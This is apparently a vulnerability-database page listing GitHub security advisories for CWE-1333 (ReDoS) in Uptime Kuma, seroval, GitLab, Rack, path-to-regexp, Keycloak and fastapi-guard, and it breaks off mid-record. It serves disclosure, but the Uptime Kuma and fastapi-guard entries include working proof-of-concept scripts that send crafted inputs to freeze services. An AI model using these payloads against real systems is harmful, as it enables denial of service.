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Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

824 vulnerabilities reference this CWE, most recent first.

GHSA-HX7H-9VF7-5XHG

Vulnerability from github – Published: 2025-03-31 16:12 – Updated: 2025-08-07 14:02
VLAI
Summary
Uptime Kuma's Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
Details

Summary

There is a ReDoS vulnerability risk in the system, specifically when administrators create notification through the web service(pushdeer and whapi). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.

Details

The regular expression\/*$\ is used to match zero or more slashes / at the end of a URL. When a malicious attack string appends a large number of slashes / and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.

.replace(/\/*$/, "")

For the regular expression /\/*$/, an attack string like 

"https://e" + "/".repeat(100000) + "@"

can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.

When entered from the web interface, the attack string needs to expand "/".repeat(100000) and be input directly, such as https://e/////////..//@. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.

PoC

The poc.js is in: https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0 The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:

const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
    test = require("node:test");
} else {
    test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");

const assert = require("node:assert");

test("Test ReDos - attack string", async (t) => {
    const pushDeer = new PushDeer();
    const notification = {
        pushdeerServer: "https://e" + "/".repeat(100000) + "@",
    };
    const msg = "Test Attacking";
    const startTime = performance.now();
    try {
        pushDeer.send(notification, msg)
    } catch (error) {
    // pass
    }
    const endTime = performance.now();
    const elapsedTime = endTime - startTime;
    const reDosThreshold = 2000;
    assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});

Move the test-uptime-calculator.js file to the ./uptime-kuma/test/backend-test folder and run npm run test-backend to execute the backend tests.

Trigger conditions for whapi jams, In the send function within the uptime-kuma\server\notification-providers\pushdeer.js file: https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28

// The attack string "httpS://example" + "/".repeat(100000) + "@"
// poc.js
// Import the target file
const Whapi = require("./uptime-kuma/server/notification-providers/whapi");

// Create an instance of Whapi
const whapi = new Whapi();

const notification = {
    whapiApiUrl: "https://e" + "/".repeat(100000) + "@",
};
// console.log(`${notification.whapiApiUrl}`);
// Define the message to be sent
const msg = "Test Attacking";

// Call the send method and handle exceptions
whapi.send(notification, msg)

// 1-5 are the original installation methods for the project
// 6-8 are attack methods
// ---
// 1.run `git clone https://github.com/louislam/uptime-kuma.git`
// 2.run `cd uptime-kuma`
// 3.run `npm run setup`
// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`
// 5.run `pm2 start server/server.js --name uptime-kuma`
// ---
// 6.Run npm install in the root directory of the same level as `README.md`
// 7.Move `poc.js` to the root directory of the same level as `README.md`
// 8.and then run `node poc.js`

After running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds. redos

You can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of / to the URL, followed by a non-/ character at the end, entered directly.

1 webserver

Impact

What kind of vulnerability is it?

This is a Regular Expression Denial of Service (ReDoS) vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in significant performance degradation or complete service unavailability, especially when processing specially crafted attack strings.

Who is impacted? 1. Uptime Kuma users: Any users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like pushdeer.js and whapi.js. Attackers can exploit this vulnerability by injecting crafted strings into the input fields.

  1. Web services and hosting providers: If Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the application, leading to downtime, degraded performance, or resource exhaustion.

Solution

@louislam I have provided a solution for you to check:https://github.com/louislam/uptime-kuma/pull/5573

Severity
6.7 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:H/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "last_affected": "1.23.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta.0"
            },
            {
              "fixed": "2.0.0-beta.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-26042"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-31T16:12:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere is a `ReDoS vulnerability risk` in the system, specifically when administrators create `notification` through the web service(`pushdeer` and `whapi`). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.\n\n### Details\nThe regular expression` \\/*$\\` is used to match zero or more slashes `/` at the end of a URL. When a malicious attack string appends a large number of slashes `/` and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.\n```js\n.replace(/\\/*$/, \"\")\n```\nFor the regular expression `/\\/*$/`, an attack string like \n```javascript\n\"https://e\" + \"/\".repeat(100000) + \"@\" \n```\ncan trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.\n\u003e When entered from the web interface, the attack string needs to expand `\"/\".repeat(100000)` and be input directly, such as `https://e/////////..//@`. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.\n\n### PoC\nThe poc.js is in: \nhttps://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0\nThe time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:\n```javascript\nconst semver = require(\"semver\");\nlet test;\nconst nodeVersion = process.versions.node;\nif (semver.satisfies(nodeVersion, \"\u003e= 18\")) {\n    test = require(\"node:test\");\n} else {\n    test = require(\"test\");\n}\nconst PushDeer = require(\"../../server/notification-providers/pushdeer.js\");\n\nconst assert = require(\"node:assert\");\n\ntest(\"Test ReDos - attack string\", async (t) =\u003e {\n    const pushDeer = new PushDeer();\n    const notification = {\n        pushdeerServer: \"https://e\" + \"/\".repeat(100000) + \"@\",\n    };\n    const msg = \"Test Attacking\";\n    const startTime = performance.now();\n    try {\n        pushDeer.send(notification, msg)\n    } catch (error) {\n    // pass\n    }\n    const endTime = performance.now();\n    const elapsedTime = endTime - startTime;\n    const reDosThreshold = 2000;\n    assert(elapsedTime \u003c= reDosThreshold, `\ud83d\udea8 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);\n});\n```\n\u003e Move the `test-uptime-calculator.js` file to the `./uptime-kuma/test/backend-test` folder and run `npm run test-backend` to execute the backend tests.\n\nTrigger conditions for whapi jams, In the send function within the `uptime-kuma\\server\\notification-providers\\pushdeer.js` file:\nhttps://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28\n```js\n// The attack string \"httpS://example\" + \"/\".repeat(100000) + \"@\"\n// poc.js\n// Import the target file\nconst Whapi = require(\"./uptime-kuma/server/notification-providers/whapi\");\n\n// Create an instance of Whapi\nconst whapi = new Whapi();\n\nconst notification = {\n    whapiApiUrl: \"https://e\" + \"/\".repeat(100000) + \"@\",\n};\n// console.log(`${notification.whapiApiUrl}`);\n// Define the message to be sent\nconst msg = \"Test Attacking\";\n\n// Call the send method and handle exceptions\nwhapi.send(notification, msg)\n\n// 1-5 are the original installation methods for the project\n// 6-8 are attack methods\n// ---\n// 1.run `git clone https://github.com/louislam/uptime-kuma.git`\n// 2.run `cd uptime-kuma`\n// 3.run `npm run setup`\n// 4.run `npm install pm2 -g \u0026\u0026 pm2 install pm2-logrotate`\n// 5.run `pm2 start server/server.js --name uptime-kuma`\n// ---\n// 6.Run npm install in the root directory of the same level as `README.md`\n// 7.Move `poc.js` to the root directory of the same level as `README.md`\n// 8.and then run `node poc.js`\n```\n\nAfter running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds.\n\u003cimg width=\"760\" alt=\"redos\" src=\"https://github.com/user-attachments/assets/98f18fee-7555-410e-98c8-763906843812\" /\u003e\n\nYou can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of `/` to the URL, followed by a `non-/` character at the end, entered directly.\n\n\u003cimg width=\"1280\" alt=\"1\" src=\"https://github.com/user-attachments/assets/61945200-4397-4933-9170-2a5517613408\" /\u003e\n\u003cimg width=\"1280\" alt=\"webserver\" src=\"https://github.com/user-attachments/assets/c0d7e952-0ec1-4c54-ba31-8b7144c04669\" /\u003e\n\n### Impact\n**What kind of vulnerability is it?**\n\nThis is a `Regular Expression Denial of Service (ReDoS)` vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in `significant performance degradation or complete service unavailability`, especially when processing specially crafted attack strings.\n\n**Who is impacted?**\n1. **Uptime Kuma users**:\nAny users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like `pushdeer.js` and `whapi.js`. Attackers can exploit this vulnerability by injecting crafted strings into the input fields.\n\n2. **Web services and hosting providers**:\nIf Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the application, leading to `downtime`, `degraded performance`, or `resource exhaustion`.\n\n### Solution\n@louislam I have provided a solution for you to check:https://github.com/louislam/uptime-kuma/pull/5573",
  "id": "GHSA-hx7h-9vf7-5xhg",
  "modified": "2025-08-07T14:02:17Z",
  "published": "2025-03-31T16:12:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-hx7h-9vf7-5xhg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26042"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/issues/5574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/pull/5573"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/commit/7a9191761dbef6551c2a0aa6eed5f693ba48d688"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/louislam/uptime-kuma"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:H/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Uptime Kuma\u0027s Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}

GHSA-HX9M-JF43-8FFR

Vulnerability from github – Published: 2026-01-21 16:57 – Updated: 2026-05-20 00:53
VLAI
Summary
seroval affected by Denial of Service via RegExp serialization
Details

Overriding RegExp serialization with extremely large patterns can exhaust JavaScript runtime memory during deserialization. Additionally, overriding RegExp serialization with patterns that trigger catastrophic backtracking can lead to ReDoS (Regular Expression Denial of Service).

Mitigation:
Seroval introduces disabledFeatures (a bitmask) in serialization/deserialization methods, with Feature.RegExp as a dedicated flag. Users are recommended to configure disabledFeatures to disable RegExp serialization entirely.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "seroval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T16:57:06Z",
    "nvd_published_at": "2026-01-22T02:15:52Z",
    "severity": "HIGH"
  },
  "details": "Overriding RegExp serialization with extremely large patterns can **exhaust JavaScript runtime memory** during deserialization. Additionally, overriding RegExp serialization with patterns that trigger **catastrophic backtracking** can lead to ReDoS (Regular Expression Denial of Service).  \n\n**Mitigation**:  \n`Seroval` introduces `disabledFeatures` (a bitmask) in serialization/deserialization methods, with `Feature.RegExp` as a dedicated flag. **Users are recommended to configure `disabledFeatures` to disable RegExp serialization entirely.**",
  "id": "GHSA-hx9m-jf43-8ffr",
  "modified": "2026-05-20T00:53:27Z",
  "published": "2026-01-21T16:57:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-hx9m-jf43-8ffr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxsmnsyc/seroval/commit/ce9408ebc87312fcad345a73c172212f2a798060"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxsmnsyc/seroval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxsmnsyc/seroval/blob/v0.2.0/packages/seroval/src/index.ts#L90"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "seroval affected by Denial of Service via RegExp serialization"
}

GHSA-HXC7-QJFV-5432

Vulnerability from github – Published: 2022-10-17 19:00 – Updated: 2022-10-19 19:00
VLAI
Details

A potential DoS vulnerability was discovered in Gitlab CE/EE versions starting from 10.7 before 15.1.5, all versions starting from 15.2 before 15.2.3, all versions starting from 15.3 before 15.3.1 allowed an attacker to trigger high CPU usage via a special crafted input added in the Commit message field.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-2908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-17T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A potential DoS vulnerability was discovered in Gitlab CE/EE versions starting from 10.7 before 15.1.5, all versions starting from 15.2 before 15.2.3, all versions starting from 15.3 before 15.3.1 allowed an attacker to trigger high CPU usage via a special crafted input added in the Commit message field.",
  "id": "GHSA-hxc7-qjfv-5432",
  "modified": "2022-10-19T19:00:19Z",
  "published": "2022-10-17T19:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2908"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1584156"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-2908.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/363734"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXQX-XWVH-44M2

Vulnerability from github – Published: 2022-05-27 16:36 – Updated: 2023-08-28 13:59
VLAI
Summary
Denial of Service Vulnerability in Rack Multipart Parsing
Details

There is a possible denial of service vulnerability in the multipart parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-30122.

Versions Affected: >= 1.2 Not affected: < 1.2 Fixed Versions: 2.0.9.1, 2.1.4.1, 2.2.3.1

Impact

Carefully crafted multipart POST requests can cause Rack's multipart parser to take much longer than expected, leading to a possible denial of service vulnerability.

Impacted code will use Rack's multipart parser to parse multipart posts. This includes directly using the multipart parser like this:

params = Rack::Multipart.parse_multipart(env)

But it also includes reading POST data from a Rack request object like this:

p request.POST # read POST data
p request.params # reads both query params and POST data

All users running an affected release should either upgrade or use one of the workarounds immediately.

Workarounds

There are no feasible workarounds for this issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.9.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2"
            },
            {
              "fixed": "2.0.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.4.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1"
            },
            {
              "fixed": "2.1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.3.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2"
            },
            {
              "fixed": "2.2.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-30122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-27T16:36:52Z",
    "nvd_published_at": "2022-12-05T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a possible denial of service vulnerability in the multipart parsing component of Rack.  This vulnerability has been assigned the CVE identifier CVE-2022-30122.\n\nVersions Affected:  \u003e= 1.2\nNot affected:       \u003c 1.2\nFixed Versions:     2.0.9.1, 2.1.4.1, 2.2.3.1\n\n## Impact\nCarefully crafted multipart POST requests can cause Rack\u0027s multipart parser to take much longer than expected, leading to a possible denial of service vulnerability.\n\nImpacted code will use Rack\u0027s multipart parser to parse multipart posts.  This includes directly using the multipart parser like this:\n\n```\nparams = Rack::Multipart.parse_multipart(env)\n```\n\nBut it also includes reading POST data from a Rack request object like this:\n\n```\np request.POST # read POST data\np request.params # reads both query params and POST data\n```\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\n## Workarounds\nThere are no feasible workarounds for this issue.\n",
  "id": "GHSA-hxqx-xwvh-44m2",
  "modified": "2023-08-28T13:59:06Z",
  "published": "2022-05-27T16:36:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30122"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/cve-2022-30122-denial-of-service-vulnerability-in-rack-multipart-parsing/80729"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2022-30122.yml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/ruby-security-ann/c/L2Axto442qk"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202310-18"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231208-0012"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5530"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service Vulnerability in Rack Multipart Parsing"
}

GHSA-J3Q9-MXJG-W52F

Vulnerability from github – Published: 2026-03-27 22:23 – Updated: 2026-03-27 22:23
VLAI
Summary
path-to-regexp vulnerable to Denial of Service via sequential optional groups
Details

Impact

A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as {a}{b}{c}:z. The generated regex grows exponentially with the number of groups, causing denial of service.

Patches

Fixed in version 8.4.0.

Workarounds

Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "path-to-regexp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-4926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T22:23:27Z",
    "nvd_published_at": "2026-03-26T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.\n\n### Patches\n\nFixed in version 8.4.0.\n\n### Workarounds\n\nLimit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.",
  "id": "GHSA-j3q9-mxjg-w52f",
  "modified": "2026-03-27T22:23:27Z",
  "published": "2026-03-27T22:23:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-j3q9-mxjg-w52f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4926"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pillarjs/path-to-regexp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "path-to-regexp vulnerable to Denial of Service via sequential optional groups"
}

GHSA-J3X3-R585-4QHG

Vulnerability from github – Published: 2024-11-25 09:30 – Updated: 2024-11-25 18:29
Withdrawn 2024-11-25 VLAI
Summary
Duplicate Advisory: org.keycloak:keycloak-services has Inefficient Regular Expression Complexity
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-wq8x-cg39-8mrr. This link is maintained to preserve external references.

Original Description

A vulnerability was found in the Keycloak-services package. If untrusted data is passed to the SearchQueryUtils method, it could lead to a denial of service (DoS) scenario by exhausting system resources due to a Regex complexity.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0.0"
            },
            {
              "fixed": "26.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-25T18:29:52Z",
    "nvd_published_at": "2024-11-25T08:15:03Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-wq8x-cg39-8mrr. This link is maintained to preserve external references.\n\n## Original Description\nA vulnerability was found in the Keycloak-services package. If untrusted data is passed to the SearchQueryUtils method, it could lead to a denial of service (DoS) scenario by exhausting system resources due to a Regex complexity.",
  "id": "GHSA-j3x3-r585-4qhg",
  "modified": "2024-11-25T18:29:52Z",
  "published": "2024-11-25T09:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10270"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10175"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10176"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10177"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10178"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-10270"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2321214"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: org.keycloak:keycloak-services has Inefficient Regular Expression Complexity",
  "withdrawn": "2024-11-25T18:29:52Z"
}

GHSA-J47Q-RC62-W448

Vulnerability from github – Published: 2025-07-07 23:36 – Updated: 2025-12-31 22:50
VLAI
Summary
fastapi-guard is vulnerable to ReDoS through inefficient regex
Details

Summary

fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.

It is not as severe as exponential complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.

PoC

e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7

payload = lambda n: '<'*n+ ' '*n+ 'style=' + '"'*n + ' '*n+ 'url('*n # complexity: O(n^5)

print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)

Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.

Impact

Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False are vulnerable to DoS.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fastapi-guard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-07T23:36:39Z",
    "nvd_published_at": "2025-07-07T20:15:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nfastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.\n\nIt is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.\n\n### PoC\n\ne.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7\n\n```python\npayload = lambda n: \u0027\u003c\u0027*n+ \u0027 \u0027*n+ \u0027style=\u0027 + \u0027\"\u0027*n + \u0027 \u0027*n+ \u0027url(\u0027*n # complexity: O(n^5)\n\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(50)).elapsed) # 0:00:03.771120\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(100)).elapsed) # 0:01:17.952637\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(200)).elapsed) # timeout (\u003e15min)\n```\n\nSingle-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.\n\n### Impact\n\nPenetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.",
  "id": "GHSA-j47q-rc62-w448",
  "modified": "2025-12-31T22:50:34Z",
  "published": "2025-07-07T23:36:39Z",
  "references": [
    {
      "type": "WEB",
